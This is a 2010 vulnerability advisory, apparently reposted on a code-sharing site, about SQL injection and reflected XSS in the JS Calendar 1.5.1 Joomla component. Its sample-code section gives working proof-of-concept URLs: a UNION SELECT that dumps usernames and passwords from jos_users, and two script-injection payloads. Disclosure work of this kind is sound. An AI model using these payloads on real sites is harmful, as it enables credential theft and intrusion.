扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities NameJS Calendar Vendorhttp://www.joomlaseller.com Versions Affected 1.5.1 AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-10-09 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION ________________________ JoomlaSeller-Calendar Eventisapowerful Joomla! componentwhichallows you to easily create events and publishthemonadesired date. It is a native build componentforJoomla!1.5versionand can easily be installed using theJoomla!back-end Install functionality. II. DESCRIPTION _______________ Some parametersare not properly sanitised before being used in a SQL query or returned to the user. III. ANALYSIS _____________ Summary: A) SQL Injection B) Multiple Reflected XSS A) SQL Injection ________________ Inputpassedto "ev_id"parameterisnotproperly sanitised before being used in SQL queries. This can be exploitedtomanipulate SQLqueriesbyinjecting arbitrary SQL code. B) Multiple XSS _______________ Inputpassed to the "month" and "year" parametersare notproperlysanitisedbeforebeing returned to the user. Thiscanbe exploited to execute arbitrary HTML andscriptcode in a users browser session in context of an affected site. IV. SAMPLE CODE _______________ A) SQL Injection http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users B) Multiple XSS http://site/path/index.php?option=com_jscalendar&view=jscalendar&month=<script>alert('XSS');</script> http://site/path/index.php?option=com_jscalendar&view=jscalendar&year=<script>alert('XSS');</script> V. FIX ______ No fix. |
体验盒子
